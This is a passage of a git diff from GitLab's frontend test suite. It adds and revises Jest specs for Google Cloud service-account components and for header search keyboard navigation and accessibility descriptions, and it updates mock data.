+ createUrl: TEST_HOME_PROPS.createServiceAccountUrl,
+ emptyIllustrationUrl: TEST_HOME_PROPS.emptyIllustrationUrl,
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/google_cloud/components/service_accounts_form_spec.js b/spec/frontend/google_cloud/components/service_accounts_form_spec.js
new file mode 100644
index 00000000000..5394d0cdaef
--- /dev/null
+++ b/spec/frontend/google_cloud/components/service_accounts_form_spec.js
@@ -0,0 +1,59 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlButton, GlFormGroup, GlFormSelect } from '@gitlab/ui';
+import ServiceAccountsForm from '~/google_cloud/components/service_accounts_form.vue';
+
+describe('ServiceAccountsForm component', () => {
+ let wrapper;
+
+ const findHeader = () => wrapper.find('header');
+ const findAllFormGroups = () => wrapper.findAllComponents(GlFormGroup);
+ const findAllFormSelects = () => wrapper.findAllComponents(GlFormSelect);
+ const findAllButtons = () => wrapper.findAllComponents(GlButton);
+
+ const propsData = { gcpProjects: [], environments: [], cancelPath: '#cancel-url' };
+
+ beforeEach(() => {
+ wrapper = shallowMount(ServiceAccountsForm, { propsData });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('contains header', () => {
+ expect(findHeader().exists()).toBe(true);
+ });
+
+ it('contains GCP project form group', () => {
+ const formGroup = findAllFormGroups().at(0);
+ expect(formGroup.exists()).toBe(true);
+ });
+
+ it('contains GCP project dropdown', () => {
+ const select = findAllFormSelects().at(0);
+ expect(select.exists()).toBe(true);
+ });
+
+ it('contains Environments form group', () => {
+ const formGorup = findAllFormGroups().at(1);
+ expect(formGorup.exists()).toBe(true);
+ });
+
+ it('contains Environments dropdown', () => {
+ const select = findAllFormSelects().at(1);
+ expect(select.exists()).toBe(true);
+ });
+
+ it('contains Submit button', () => {
+ const button = findAllButtons().at(0);
+ expect(button.exists()).toBe(true);
+ expect(button.text()).toBe(ServiceAccountsForm.i18n.submitLabel);
+ });
+
+ it('contains Cancel button', () => {
+ const button = findAllButtons().at(1);
+ expect(button.exists()).toBe(true);
+ expect(button.text()).toBe(ServiceAccountsForm.i18n.cancelLabel);
+ expect(button.attributes('href')).toBe('#cancel-url');
+ });
+});
diff --git a/spec/frontend/google_cloud/components/service_accounts_list_spec.js b/spec/frontend/google_cloud/components/service_accounts_list_spec.js
new file mode 100644
index 00000000000..cdb3f74051c
--- /dev/null
+++ b/spec/frontend/google_cloud/components/service_accounts_list_spec.js
@@ -0,0 +1,79 @@
+import { mount } from '@vue/test-utils';
+import { GlButton, GlEmptyState, GlTable } from '@gitlab/ui';
+import ServiceAccountsList from '~/google_cloud/components/service_accounts_list.vue';
+
+describe('ServiceAccounts component', () => {
+ describe('when the project does not have any service accounts', () => {
+ let wrapper;
+
+ const findEmptyState = () => wrapper.findComponent(GlEmptyState);
+ const findButtonInEmptyState = () => findEmptyState().findComponent(GlButton);
+
+ beforeEach(() => {
+ const propsData = {
+ list: [],
+ createUrl: '#create-url',
+ emptyIllustrationUrl: '#empty-illustration-url',
+ };
+ wrapper = mount(ServiceAccountsList, { propsData });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('shows the empty state component', () => {
+ expect(findEmptyState().exists()).toBe(true);
+ });
+ it('shows the link to create new service accounts', () => {
+ const button = findButtonInEmptyState();
+ expect(button.exists()).toBe(true);
+ expect(button.text()).toBe('Create service account');
+ expect(button.attributes('href')).toBe('#create-url');
+ });
+ });
+
+ describe('when three service accounts are passed via props', () => {
+ let wrapper;
+
+ const findTitle = () => wrapper.find('h2');
+ const findDescription = () => wrapper.find('p');
+ const findTable = () => wrapper.findComponent(GlTable);
+ const findRows = () => findTable().findAll('tr');
+ const findButton = () => wrapper.findComponent(GlButton);
+
+ beforeEach(() => {
+ const propsData = {
+ list: [{}, {}, {}],
+ createUrl: '#create-url',
+ emptyIllustrationUrl: '#empty-illustration-url',
+ };
+ wrapper = mount(ServiceAccountsList, { propsData });
+ });
+
+ it('shows the title', () => {
+ expect(findTitle().text()).toBe('Service Accounts');
+ });
+
+ it('shows the description', () => {
+ expect(findDescription().text()).toBe(
+ 'Service Accounts keys authorize GitLab to deploy your Google Cloud project',
+ );
+ });
+
+ it('shows the table', () => {
+ expect(findTable().exists()).toBe(true);
+ });
+
+ it('table must have three rows + header row', () => {
+ expect(findRows().length).toBe(4);
+ });
+
+ it('shows the link to create new service accounts', () => {
+ const button = findButton();
+ expect(button.exists()).toBe(true);
+ expect(button.text()).toBe('Create service account');
+ expect(button.attributes('href')).toBe('#create-url');
+ });
+ });
+});
diff --git a/spec/frontend/google_cloud/components/service_accounts_spec.js b/spec/frontend/google_cloud/components/service_accounts_spec.js
deleted file mode 100644
index 3d097078f03..00000000000
--- a/spec/frontend/google_cloud/components/service_accounts_spec.js
+++ /dev/null
@@ -1,79 +0,0 @@
-import { mount } from '@vue/test-utils';
-import { GlButton, GlEmptyState, GlTable } from '@gitlab/ui';
-import ServiceAccounts from '~/google_cloud/components/service_accounts.vue';
-
-describe('ServiceAccounts component', () => {
- describe('when the project does not have any service accounts', () => {
- let wrapper;
-
- const findEmptyState = () => wrapper.findComponent(GlEmptyState);
- const findButtonInEmptyState = () => findEmptyState().findComponent(GlButton);
-
- beforeEach(() => {
- const propsData = {
- list: [],
- createUrl: '#create-url',
- emptyIllustrationUrl: '#empty-illustration-url',
- };
- wrapper = mount(ServiceAccounts, { propsData });
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('shows the empty state component', () => {
- expect(findEmptyState().exists()).toBe(true);
- });
- it('shows the link to create new service accounts', () => {
- const button = findButtonInEmptyState();
- expect(button.exists()).toBe(true);
- expect(button.text()).toBe('Create service account');
- expect(button.attributes('href')).toBe('#create-url');
- });
- });
-
- describe('when three service accounts are passed via props', () => {
- let wrapper;
-
- const findTitle = () => wrapper.find('h2');
- const findDescription = () => wrapper.find('p');
- const findTable = () => wrapper.findComponent(GlTable);
- const findRows = () => findTable().findAll('tr');
- const findButton = () => wrapper.findComponent(GlButton);
-
- beforeEach(() => {
- const propsData = {
- list: [{}, {}, {}],
- createUrl: '#create-url',
- emptyIllustrationUrl: '#empty-illustration-url',
- };
- wrapper = mount(ServiceAccounts, { propsData });
- });
-
- it('shows the title', () => {
- expect(findTitle().text()).toBe('Service Accounts');
- });
-
- it('shows the description', () => {
- expect(findDescription().text()).toBe(
- 'Service Accounts keys authorize GitLab to deploy your Google Cloud project',
- );
- });
-
- it('shows the table', () => {
- expect(findTable().exists()).toBe(true);
- });
-
- it('table must have three rows + header row', () => {
- expect(findRows().length).toBe(4);
- });
-
- it('shows the link to create new service accounts', () => {
- const button = findButton();
- expect(button.exists()).toBe(true);
- expect(button.text()).toBe('Create service account');
- expect(button.attributes('href')).toBe('#create-url');
- });
- });
-});
diff --git a/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap b/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap
index 33e2c0db5e5..9447e7daba8 100644
--- a/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap
+++ b/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap
@@ -47,6 +47,7 @@ exports[`grafana integration component default state to match the default snapsh
label="Enable authentication"
label-for="grafana-integration-enabled"
labeldescription=""
+ optionaltext="(optional)"
>
<gl-form-checkbox-stub
id="grafana-integration-enabled"
@@ -62,6 +63,7 @@ exports[`grafana integration component default state to match the default snapsh
label="Grafana URL"
label-for="grafana-url"
labeldescription=""
+ optionaltext="(optional)"
>
<gl-form-input-stub
id="grafana-url"
@@ -74,6 +76,7 @@ exports[`grafana integration component default state to match the default snapsh
label="API token"
label-for="grafana-token"
labeldescription=""
+ optionaltext="(optional)"
>
<gl-form-input-stub
id="grafana-token"
diff --git a/spec/frontend/header_search/components/app_spec.js b/spec/frontend/header_search/components/app_spec.js
index 2ea2693a978..3200c6614f1 100644
--- a/spec/frontend/header_search/components/app_spec.js
+++ b/spec/frontend/header_search/components/app_spec.js
@@ -6,9 +6,17 @@ import HeaderSearchApp from '~/header_search/components/app.vue';
import HeaderSearchAutocompleteItems from '~/header_search/components/header_search_autocomplete_items.vue';
import HeaderSearchDefaultItems from '~/header_search/components/header_search_default_items.vue';
import HeaderSearchScopedItems from '~/header_search/components/header_search_scoped_items.vue';
-import { ENTER_KEY, ESC_KEY } from '~/lib/utils/keys';
+import { SEARCH_INPUT_DESCRIPTION, SEARCH_RESULTS_DESCRIPTION } from '~/header_search/constants';
+import DropdownKeyboardNavigation from '~/vue_shared/components/dropdown_keyboard_navigation.vue';
+import { ENTER_KEY } from '~/lib/utils/keys';
import { visitUrl } from '~/lib/utils/url_utility';
-import { MOCK_SEARCH, MOCK_SEARCH_QUERY, MOCK_USERNAME } from '../mock_data';
+import {
+ MOCK_SEARCH,
+ MOCK_SEARCH_QUERY,
+ MOCK_USERNAME,
+ MOCK_DEFAULT_SEARCH_OPTIONS,
+ MOCK_SCOPED_SEARCH_OPTIONS,
+} from '../mock_data';
Vue.use(Vuex);
@@ -22,9 +30,10 @@ describe('HeaderSearchApp', () => {
const actionSpies = {
setSearch: jest.fn(),
fetchAutocompleteOptions: jest.fn(),
+ clearAutocomplete: jest.fn(),
};
- const createComponent = (initialState) => {
+ const createComponent = (initialState, mockGetters) => {
const store = new Vuex.Store({
state: {
...initialState,
@@ -32,6 +41,8 @@ describe('HeaderSearchApp', () => {
actions: actionSpies,
getters: {
searchQuery: () => MOCK_SEARCH_QUERY,
+ searchOptions: () => MOCK_DEFAULT_SEARCH_OPTIONS,
+ ...mockGetters,
},
});
@@ -50,11 +61,27 @@ describe('HeaderSearchApp', () => {
const findHeaderSearchScopedItems = () => wrapper.findComponent(HeaderSearchScopedItems);
const findHeaderSearchAutocompleteItems = () =>
wrapper.findComponent(HeaderSearchAutocompleteItems);
+ const findDropdownKeyboardNavigation = () => wrapper.findComponent(DropdownKeyboardNavigation);
+ const findSearchInputDescription = () => wrapper.find(`#${SEARCH_INPUT_DESCRIPTION}`);
+ const findSearchResultsDescription = () => wrapper.findByTestId(SEARCH_RESULTS_DESCRIPTION);
describe('template', () => {
- it('always renders Header Search Input', () => {
- createComponent();
- expect(findHeaderSearchInput().exists()).toBe(true);
+ describe('always renders', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('Header Search Input', () => {
+ expect(findHeaderSearchInput().exists()).toBe(true);
+ });
+
+ it('Search Input Description', () => {
+ expect(findSearchInputDescription().exists()).toBe(true);
+ });
+
+ it('Search Results Description', () => {
+ expect(findSearchResultsDescription().exists()).toBe(true);
+ });
});
describe.each`
@@ -66,9 +93,9 @@ describe('HeaderSearchApp', () => {
`('Header Search Dropdown', ({ showDropdown, username, showSearchDropdown }) => {
describe(`when showDropdown is ${showDropdown} and current_username is ${username}`, () => {
beforeEach(() => {
- createComponent();
window.gon.current_username = username;
- wrapper.setData({ showDropdown });
+ createComponent();
+ findHeaderSearchInput().vm.$emit(showDropdown ? 'click' : '');
});
it(`should${showSearchDropdown ? '' : ' not'} render`, () => {
@@ -78,31 +105,89 @@ describe('HeaderSearchApp', () => {
});
describe.each`
- search | showDefault | showScoped | showAutocomplete
- ${null} | ${true} | ${false} | ${false}
- ${''} | ${true} | ${false} | ${false}
- ${MOCK_SEARCH} | ${false} | ${true} | ${true}
- `('Header Search Dropdown Items', ({ search, showDefault, showScoped, showAutocomplete }) => {
- describe(`when search is ${search}`, () => {
- beforeEach(() => {
- createComponent({ search });
- window.gon.current_username = MOCK_USERNAME;
- wrapper.setData({ showDropdown: true });
- });
-
- it(`should${showDefault ? '' : ' not'} render the Default Dropdown Items`, () => {
- expect(findHeaderSearchDefaultItems().exists()).toBe(showDefault);
+ search | showDefault | showScoped | showAutocomplete | showDropdownNavigation
+ ${null} | ${true} | ${false} | ${false} | ${true}
+ ${''} | ${true} | ${false} | ${false} | ${true}
+ ${MOCK_SEARCH} | ${false} | ${true} | ${true} | ${true}
+ `(
+ 'Header Search Dropdown Items',
+ ({ search, showDefault, showScoped, showAutocomplete, showDropdownNavigation }) => {
+ describe(`when search is ${search}`, () => {
+ beforeEach(() => {
+ window.gon.current_username = MOCK_USERNAME;
+ createComponent({ search });
+ findHeaderSearchInput().vm.$emit('click');
+ });
+
+ it(`should${showDefault ? '' : ' not'} render the Default Dropdown Items`, () => {
+ expect(findHeaderSearchDefaultItems().exists()).toBe(showDefault);
+ });
+
+ it(`should${showScoped ? '' : ' not'} render the Scoped Dropdown Items`, () => {
+ expect(findHeaderSearchScopedItems().exists()).toBe(showScoped);
+ });
+
+ it(`should${
+ showAutocomplete ? '' : ' not'
+ } render the Autocomplete Dropdown Items`, () => {
+ expect(findHeaderSearchAutocompleteItems().exists()).toBe(showAutocomplete);
+ });
+
+ it(`should${
+ showDropdownNavigation ? '' : ' not'
+ } render the Dropdown Navigation Component`, () => {
+ expect(findDropdownKeyboardNavigation().exists()).toBe(showDropdownNavigation);
+ });
});
+ },
+ );
- it(`should${showScoped ? '' : ' not'} render the Scoped Dropdown Items`, () => {
- expect(findHeaderSearchScopedItems().exists()).toBe(showScoped);
+ describe.each`
+ username | showDropdown | expectedDesc
+ ${null} | ${false} | ${HeaderSearchApp.i18n.searchInputDescribeByNoDropdown}
+ ${null} | ${true} | ${HeaderSearchApp.i18n.searchInputDescribeByNoDropdown}
+ ${MOCK_USERNAME} | ${false} | ${HeaderSearchApp.i18n.searchInputDescribeByWithDropdown}
+ ${MOCK_USERNAME} | ${true} | ${HeaderSearchApp.i18n.searchInputDescribeByWithDropdown}
+ `('Search Input Description', ({ username, showDropdown, expectedDesc }) => {
+ describe(`current_username is ${username} and showDropdown is ${showDropdown}`, () => {
+ beforeEach(() => {
+ window.gon.current_username = username;
+ createComponent();
+ findHeaderSearchInput().vm.$emit(showDropdown ? 'click' : '');
});
- it(`should${showAutocomplete ? '' : ' not'} render the Autocomplete Dropdown Items`, () => {
- expect(findHeaderSearchAutocompleteItems().exists()).toBe(showAutocomplete);
+ it(`sets description to ${expectedDesc}`, () => {
+ expect(findSearchInputDescription().text()).toBe(expectedDesc);
});
});
});
+
+ describe.each`
+ username | showDropdown | search | loading | searchOptions | expectedDesc
+ ${null} | ${true} | ${''} | ${false} | ${[]} | ${''}
+ ${MOCK_USERNAME} | ${false} | ${''} | ${false} | ${[]} | ${''}
+ ${MOCK_USERNAME} | ${true} | ${''} | ${false} | ${MOCK_DEFAULT_SEARCH_OPTIONS} | ${`${MOCK_DEFAULT_SEARCH_OPTIONS.length} default results provided. Use the up and down arrow keys to navigate search results list.`}
+ ${MOCK_USERNAME} | ${true} | ${''} | ${true} | ${MOCK_DEFAULT_SEARCH_OPTIONS} | ${`${MOCK_DEFAULT_SEARCH_OPTIONS.length} default results provided. Use the up and down arrow keys to navigate search results list.`}
+ ${MOCK_USERNAME} | ${true} | ${MOCK_SEARCH} | ${false} | ${MOCK_SCOPED_SEARCH_OPTIONS} | ${`Results updated. ${MOCK_SCOPED_SEARCH_OPTIONS.length} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit.`}
+ ${MOCK_USERNAME} | ${true} | ${MOCK_SEARCH} | ${true} | ${MOCK_SCOPED_SEARCH_OPTIONS} | ${HeaderSearchApp.i18n.searchResultsLoading}
+ `(
+ 'Search Results Description',
+ ({ username, showDropdown, search, loading, searchOptions, expectedDesc }) => {
+ describe(`search is ${search}, loading is ${loading}, and showSearchDropdown is ${
+ Boolean(username) && showDropdown
+ }`, () => {
+ beforeEach(() => {
+ window.gon.current_username = username;
+ createComponent({ search, loading }, { searchOptions: () => searchOptions });
+ findHeaderSearchInput().vm.$emit(showDropdown ? 'click' : '');
+ });
+
+ it(`sets description to ${expectedDesc}`, () => {
+ expect(findSearchResultsDescription().text()).toBe(expectedDesc);
+ });
+ });
+ },
+ );
});
describe('events', () => {
@@ -132,36 +217,86 @@ describe('HeaderSearchApp', () => {
});
});
- describe('when dropdown is opened', () => {
- beforeEach(() => {
- wrapper.setData({ showDropdown: true });
+ describe('onInput', () => {
+ describe('when search has text', () => {
+ beforeEach(() => {
+ findHeaderSearchInput().vm.$emit('input', MOCK_SEARCH);
+ });
+
+ it('calls setSearch with search term', () => {
+ expect(actionSpies.setSearch).toHaveBeenCalledWith(expect.any(Object), MOCK_SEARCH);
+ });
+
+ it('calls fetchAutocompleteOptions', () => {
+ expect(actionSpies.fetchAutocompleteOptions).toHaveBeenCalled();
+ });
+
+ it('does not call clearAutocomplete', () => {
+ expect(actionSpies.clearAutocomplete).not.toHaveBeenCalled();
+ });
});
- it('onKey-Escape closes dropdown', async () => {
- expect(findHeaderSearchDropdown().exists()).toBe(true);
- findHeaderSearchInput().vm.$emit('keydown', new KeyboardEvent({ key: ESC_KEY }));
+ describe('when search is emptied', () => {
+ beforeEach(() => {
+ findHeaderSearchInput().vm.$emit('input', '');
+ });
- await wrapper.vm.$nextTick();
+ it('calls setSearch with empty term', () => {
+ expect(actionSpies.setSearch).toHaveBeenCalledWith(expect.any(Object), '');
+ });
- expect(findHeaderSearchDropdown().exists()).toBe(false);
+ it('does not call fetchAutocompleteOptions', () => {
+ expect(actionSpies.fetchAutocompleteOptions).not.toHaveBeenCalled();
+ });
+
+ it('calls clearAutocomplete', () => {
+ expect(actionSpies.clearAutocomplete).toHaveBeenCalled();
+ });
});
});
+ });
- describe('onInput', () => {
- beforeEach(() => {
- findHeaderSearchInput().vm.$emit('input', MOCK_SEARCH);
- });
+ describe('Dropdown Keyboard Navigation', () => {
+ beforeEach(() => {
+ findHeaderSearchInput().vm.$emit('click');
+ });
- it('calls setSearch with search term', () => {
- expect(actionSpies.setSearch).toHaveBeenCalledWith(expect.any(Object), MOCK_SEARCH);
- });
+ it('closes dropdown when @tab is emitted', async () => {
+ expect(findHeaderSearchDropdown().exists()).toBe(true);
+ findDropdownKeyboardNavigation().vm.$emit('tab');
- it('calls fetchAutocompleteOptions', () => {
- expect(actionSpies.fetchAutocompleteOptions).toHaveBeenCalled();
- });
+ await wrapper.vm.$nextTick();
+
+ expect(findHeaderSearchDropdown().exists()).toBe(false);
+ });
+ });
+ });
+
+ describe('computed', () => {
+ describe('currentFocusedOption', () => {
+ const MOCK_INDEX = 1;
+
+ beforeEach(() => {
+ createComponent();
+ window.gon.current_username = MOCK_USERNAME;
+ findHeaderSearchInput().vm.$emit('click');
+ });
+
+ it(`when currentFocusIndex changes to ${MOCK_INDEX} updates the data to searchOptions[${MOCK_INDEX}]`, async () => {
+ findDropdownKeyboardNavigation().vm.$emit('change', MOCK_INDEX);
+ await wrapper.vm.$nextTick();
+ expect(wrapper.vm.currentFocusedOption).toBe(MOCK_DEFAULT_SEARCH_OPTIONS[MOCK_INDEX]);
});
+ });
+ });
- it('submits a search onKey-Enter', async () => {
+ describe('Submitting a search', () => {
+ describe('with no currentFocusedOption', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('onKey-enter submits a search', async () => {
findHeaderSearchInput().vm.$emit('keydown', new KeyboardEvent({ key: ENTER_KEY }));
await wrapper.vm.$nextTick();
@@ -169,5 +304,22 @@ describe('HeaderSearchApp', () => {
expect(visitUrl).toHaveBeenCalledWith(MOCK_SEARCH_QUERY);
});
});
+
+ describe('with currentFocusedOption', () => {
+ const MOCK_INDEX = 1;
+
+ beforeEach(() => {
+ createComponent();
+ window.gon.current_username = MOCK_USERNAME;
+ findHeaderSearchInput().vm.$emit('click');
+ });
+
+ it('onKey-enter clicks the selected dropdown item rather than submitting a search', async () => {
+ findDropdownKeyboardNavigation().vm.$emit('change', MOCK_INDEX);
+ await wrapper.vm.$nextTick();
+ findHeaderSearchInput().vm.$emit('keydown', new KeyboardEvent({ key: ENTER_KEY }));
+ expect(visitUrl).toHaveBeenCalledWith(MOCK_DEFAULT_SEARCH_OPTIONS[MOCK_INDEX].url);
+ });
+ });
});
});
diff --git a/spec/frontend/header_search/components/header_search_autocomplete_items_spec.js b/spec/frontend/header_search/components/header_search_autocomplete_items_spec.js
index 6b84e63989d..bec0cbc8a5c 100644
--- a/spec/frontend/header_search/components/header_search_autocomplete_items_spec.js
+++ b/spec/frontend/header_search/components/header_search_autocomplete_items_spec.js
@@ -9,14 +9,14 @@ import {
PROJECTS_CATEGORY,
SMALL_AVATAR_PX,
} from '~/header_search/constants';
-import { MOCK_GROUPED_AUTOCOMPLETE_OPTIONS, MOCK_AUTOCOMPLETE_OPTIONS } from '../mock_data';
+import { MOCK_GROUPED_AUTOCOMPLETE_OPTIONS, MOCK_SORTED_AUTOCOMPLETE_OPTIONS } from '../mock_data';
Vue.use(Vuex);
describe('HeaderSearchAutocompleteItems', () => {
let wrapper;
- const createComponent = (initialState, mockGetters) => {
+ const createComponent = (initialState, mockGetters, props) => {
const store = new Vuex.Store({
state: {
loading: false,
@@ -30,6 +30,9 @@ describe('HeaderSearchAutocompleteItems', () => {
wrapper = shallowMount(HeaderSearchAutocompleteItems, {
store,
+ propsData: {
+ ...props,
+ },
});
};
@@ -38,6 +41,7 @@ describe('HeaderSearchAutocompleteItems', () => {
});
const findDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
+ const findFirstDropdownItem = () => findDropdownItems().at(0);
const findDropdownItemTitles = () => findDropdownItems().wrappers.map((w) => w.text());
const findDropdownItemLinks = () => findDropdownItems().wrappers.map((w) => w.attributes('href'));
const findGlLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
@@ -69,16 +73,16 @@ describe('HeaderSearchAutocompleteItems', () => {
describe('Dropdown items', () => {
it('renders item for each option in autocomplete option', () => {
- expect(findDropdownItems()).toHaveLength(MOCK_AUTOCOMPLETE_OPTIONS.length);
+ expect(findDropdownItems()).toHaveLength(MOCK_SORTED_AUTOCOMPLETE_OPTIONS.length);
});
it('renders titles correctly', () => {
- const expectedTitles = MOCK_AUTOCOMPLETE_OPTIONS.map((o) => o.label);
+ const expectedTitles = MOCK_SORTED_AUTOCOMPLETE_OPTIONS.map((o) => o.label);
expect(findDropdownItemTitles()).toStrictEqual(expectedTitles);
});
it('renders links correctly', () => {
- const expectedLinks = MOCK_AUTOCOMPLETE_OPTIONS.map((o) => o.url);
+ const expectedLinks = MOCK_SORTED_AUTOCOMPLETE_OPTIONS.map((o) => o.url);
expect(findDropdownItemLinks()).toStrictEqual(expectedLinks);
});
});
@@ -104,5 +108,46 @@ describe('HeaderSearchAutocompleteItems', () => {
});
});
});
+
+ describe.each`
+ currentFocusedOption | isFocused | ariaSelected
+ ${null} | ${false} | ${undefined}
+ ${{ html_id: 'not-a-match' }} | ${false} | ${undefined}
+ ${MOCK_SORTED_AUTOCOMPLETE_OPTIONS[0]} | ${true} | ${'true'}
+ `('isOptionFocused', ({ currentFocusedOption, isFocused, ariaSelected }) => {
+ describe(`when currentFocusedOption.html_id is ${currentFocusedOption?.html_id}`, () => {
+ beforeEach(() => {
+ createComponent({}, {}, { currentFocusedOption });
+ });
+
+ it(`should${isFocused ? '' : ' not'} have gl-bg-gray-50 applied`, () => {
+ expect(findFirstDropdownItem().classes('gl-bg-gray-50')).toBe(isFocused);
+ });
+
+ it(`sets "aria-selected to ${ariaSelected}`, () => {
+ expect(findFirstDropdownItem().attributes('aria-selected')).toBe(ariaSelected);
+ });
+ });
+ });
+ });
+
+ describe('watchers', () => {
+ describe('currentFocusedOption', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('when focused changes to existing element calls scroll into view on the newly focused element', async () => {
+ const focusedElement = findFirstDropdownItem().element;
+ const scrollSpy = jest.spyOn(focusedElement, 'scrollIntoView');
+
+ wrapper.setProps({ currentFocusedOption: MOCK_SORTED_AUTOCOMPLETE_OPTIONS[0] });
+
+ await wrapper.vm.$nextTick();
+
+ expect(scrollSpy).toHaveBeenCalledWith(false);
+ scrollSpy.mockRestore();
+ });
+ });
});
});
diff --git a/spec/frontend/header_search/components/header_search_default_items_spec.js b/spec/frontend/header_search/components/header_search_default_items_spec.js
index ce083d0df72..abcacc487df 100644
--- a/spec/frontend/header_search/components/header_search_default_items_spec.js
+++ b/spec/frontend/header_search/components/header_search_default_items_spec.js
@@ -10,7 +10,7 @@ Vue.use(Vuex);
describe('HeaderSearchDefaultItems', () => {
let wrapper;
- const createComponent = (initialState) => {
+ const createComponent = (initialState, props) => {
const store = new Vuex.Store({
state: {
searchContext: MOCK_SEARCH_CONTEXT,
@@ -23,6 +23,9 @@ describe('HeaderSearchDefaultItems', () => {
wrapper = shallowMount(HeaderSearchDefaultItems, {
store,
+ propsData: {
+ ...props,
+ },
});
};
@@ -32,6 +35,7 @@ describe('HeaderSearchDefaultItems', () => {
const findDropdownHeader = () => wrapper.findComponent(GlDropdownSectionHeader);
const findDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
+ const findFirstDropdownItem = () => findDropdownItems().at(0);
const findDropdownItemTitles = () => findDropdownItems().wrappers.map((w) => w.text());
const findDropdownItemLinks = () => findDropdownItems().wrappers.map((w) => w.attributes('href'));
@@ -77,5 +81,26 @@ describe('HeaderSearchDefaultItems', () => {
});
});
});
+
+ describe.each`
+ currentFocusedOption | isFocused | ariaSelected
+ ${null} | ${false} | ${undefined}
+ ${{ html_id: 'not-a-match' }} | ${false} | ${undefined}
+ ${MOCK_DEFAULT_SEARCH_OPTIONS[0]} | ${true} | ${'true'}
+ `('isOptionFocused', ({ currentFocusedOption, isFocused, ariaSelected }) => {
+ describe(`when currentFocusedOption.html_id is ${currentFocusedOption?.html_id}`, () => {
+ beforeEach(() => {
+ createComponent({}, { currentFocusedOption });
+ });
+
+ it(`should${isFocused ? '' : ' not'} have gl-bg-gray-50 applied`, () => {
+ expect(findFirstDropdownItem().classes('gl-bg-gray-50')).toBe(isFocused);
+ });
+
+ it(`sets "aria-selected to ${ariaSelected}`, () => {
+ expect(findFirstDropdownItem().attributes('aria-selected')).toBe(ariaSelected);
+ });
+ });
+ });
});
});
diff --git a/spec/frontend/header_search/components/header_search_scoped_items_spec.js b/spec/frontend/header_search/components/header_search_scoped_items_spec.js
index f0e5e182ec4..a65b4d8b813 100644
--- a/spec/frontend/header_search/components/header_search_scoped_items_spec.js
+++ b/spec/frontend/header_search/components/header_search_scoped_items_spec.js
@@ -11,7 +11,7 @@ Vue.use(Vuex);
describe('HeaderSearchScopedItems', () => {
let wrapper;
- const createComponent = (initialState) => {
+ const createComponent = (initialState, props) => {
const store = new Vuex.Store({
state: {
search: MOCK_SEARCH,
@@ -24,6 +24,9 @@ describe('HeaderSearchScopedItems', () => {
wrapper = shallowMount(HeaderSearchScopedItems, {
store,
+ propsData: {
+ ...props,
+ },
});
};
@@ -32,7 +35,10 @@ describe('HeaderSearchScopedItems', () => {
});
const findDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
+ const findFirstDropdownItem = () => findDropdownItems().at(0);
const findDropdownItemTitles = () => findDropdownItems().wrappers.map((w) => trimText(w.text()));
+ const findDropdownItemAriaLabels = () =>
+ findDropdownItems().wrappers.map((w) => trimText(w.attributes('aria-label')));
const findDropdownItemLinks = () => findDropdownItems().wrappers.map((w) => w.attributes('href'));
describe('template', () => {
@@ -52,10 +58,38 @@ describe('HeaderSearchScopedItems', () => {
expect(findDropdownItemTitles()).toStrictEqual(expectedTitles);
});
+ it('renders aria-labels correctly', () => {
+ const expectedLabels = MOCK_SCOPED_SEARCH_OPTIONS.map((o) =>
+ trimText(`${MOCK_SEARCH} ${o.description} ${o.scope || ''}`),
+ );
+ expect(findDropdownItemAriaLabels()).toStrictEqual(expectedLabels);
+ });
+
it('renders links correctly', () => {
const expectedLinks = MOCK_SCOPED_SEARCH_OPTIONS.map((o) => o.url);
expect(findDropdownItemLinks()).toStrictEqual(expectedLinks);
});
});
+
+ describe.each`
+ currentFocusedOption | isFocused | ariaSelected
+ ${null} | ${false} | ${undefined}
+ ${{ html_id: 'not-a-match' }} | ${false} | ${undefined}
+ ${MOCK_SCOPED_SEARCH_OPTIONS[0]} | ${true} | ${'true'}
+ `('isOptionFocused', ({ currentFocusedOption, isFocused, ariaSelected }) => {
+ describe(`when currentFocusedOption.html_id is ${currentFocusedOption?.html_id}`, () => {
+ beforeEach(() => {
+ createComponent({}, { currentFocusedOption });
+ });
+
+ it(`should${isFocused ? '' : ' not'} have gl-bg-gray-50 applied`, () => {
+ expect(findFirstDropdownItem().classes('gl-bg-gray-50')).toBe(isFocused);
+ });
+
+ it(`sets "aria-selected to ${ariaSelected}`, () => {
+ expect(findFirstDropdownItem().attributes('aria-selected')).toBe(ariaSelected);
+ });
+ });
+ });
});
});
diff --git a/spec/frontend/header_search/mock_data.js b/spec/frontend/header_search/mock_data.js
index 915b3a4a678..1d980679547 100644
--- a/spec/frontend/header_search/mock_data.js
+++ b/spec/frontend/header_search/mock_data.js
@@ -46,22 +46,27 @@ export const MOCK_SEARCH_CONTEXT = {
export const MOCK_DEFAULT_SEARCH_OPTIONS = [
{
+ html_id: 'default-issues-assigned',
title: MSG_ISSUES_ASSIGNED_TO_ME,
url: `${MOCK_ISSUE_PATH}/?assignee_username=${MOCK_USERNAME}`,
},
{
+ html_id: 'default-issues-created',
title: MSG_ISSUES_IVE_CREATED,
url: `${MOCK_ISSUE_PATH}/?author_username=${MOCK_USERNAME}`,
},
{
+ html_id: 'default-mrs-assigned',
title: MSG_MR_ASSIGNED_TO_ME,
url: `${MOCK_MR_PATH}/?assignee_username=${MOCK_USERNAME}`,
},
{
+ html_id: 'default-mrs-reviewer',
title: MSG_MR_IM_REVIEWER,
url: `${MOCK_MR_PATH}/?reviewer_username=${MOCK_USERNAME}`,
},
{
+ html_id: 'default-mrs-created',
title: MSG_MR_IVE_CREATED,
url: `${MOCK_MR_PATH}/?author_username=${MOCK_USERNAME}`,
},
